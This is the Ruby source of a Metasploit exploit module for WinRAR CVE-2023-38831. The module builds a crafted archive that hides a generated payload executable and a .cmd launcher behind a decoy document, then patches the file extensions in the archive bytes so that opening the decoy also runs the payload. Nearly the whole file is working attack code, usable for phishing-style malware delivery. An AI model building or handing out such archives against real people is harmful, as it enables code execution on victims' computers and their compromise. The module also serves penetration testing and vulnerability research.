##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WinRAR CVE-2023-38831 Exploit',
'Description' => %q{
This module exploits a vulnerability in WinRAR (CVE-2023-38831). When a user opens a crafted RAR file and its
embedded document, the decoy document is executed, leading to code execution.
},
'License' => MSF_LICENSE,
'Author' => ['Alexander "xaitax" Hagenah'],
'References' => [
['CVE', '2023-38831'],
['URL', 'https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/'],
['URL', 'https://b1tg.github.io/post/cve-2023-38831-winrar-analysis/']
],
'Platform' => ['win'],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Targets' => [['Windows', {}]],
'Payload' => {
'DisableNops' => true
},
'DisclosureDate' => '2023-08-23',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('OUTPUT_FILE', [true, 'The output filename.', 'poc.rar']),
OptPath.new('INPUT_FILE', [true, 'Path to the decoy file (PDF, JPG, PNG, etc.).'])
])
register_advanced_options([
OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload executable.', nil])
])
end
def exploit
Dir.mktmpdir do |temp_dir|
output_rar = File.join(Msf::Config.local_directory, datastore['OUTPUT_FILE'])
input_file = datastore['INPUT_FILE']
decoy_name = File.basename(input_file)
decoy_ext = ".#{File.extname(input_file)[1..]}"
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8) + '.exe'
decoy_dir = File.join(temp_dir, "#{decoy_name}A")
Dir.mkdir(decoy_dir)
payload_path = File.join(decoy_dir, payload_name)
File.open(payload_path, 'wb') { |file| file.write(generate_payload_exe) }
bat_script = <<~BAT
@echo off
start "" "%~dp0#{payload_name}"
start "" "%~dp0#{decoy_name}"
BAT
bat_path = File.join(decoy_dir, "#{decoy_name}A.cmd")
File.write(bat_path, bat_script)
FileUtils.cp(input_file, File.join(temp_dir, "#{decoy_name}B"))
zip_path = File.join(temp_dir, 'template.zip')
Zip::File.open(zip_path, Zip::File::CREATE) do |zipfile|
zipfile.add("#{decoy_name}B", File.join(temp_dir, "#{decoy_name}B"))
zipfile.add("#{decoy_name}A/#{decoy_name}A.cmd", bat_path)
zipfile.add("#{decoy_name}A/#{payload_name}", payload_path)
end
content = File.binread(zip_path)
content.gsub!(decoy_ext + 'A', decoy_ext + ' ')
content.gsub!(decoy_ext + 'B', decoy_ext + ' ')
File.binwrite(output_rar, content)
print_good("Created #{output_rar}")
end
end
end
